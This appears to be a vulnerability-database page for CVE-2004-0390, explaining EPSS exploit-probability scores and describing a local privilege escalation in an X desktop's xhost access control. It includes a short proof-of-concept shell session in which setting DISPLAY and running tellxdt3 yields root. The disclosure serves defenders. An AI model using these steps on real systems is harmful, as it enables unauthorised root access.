CVE-2004-0390 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program. This problem makes it possible for a local user to execute commands as root. $ pwd /usr/lib/X11/IXI/XDesktop/bin/i3sc0322 $ DISPLAY=localhost:0 $ export DISPLAY $ id uid=232(kevin) gid=101(supp) groups=101(supp),50(group) $ ./tellxdt3 /usr/bin/id *** Can't open message catalogue XDesktop3 uid=0(root) gid=3(sys) groups=3(sys),1(other)
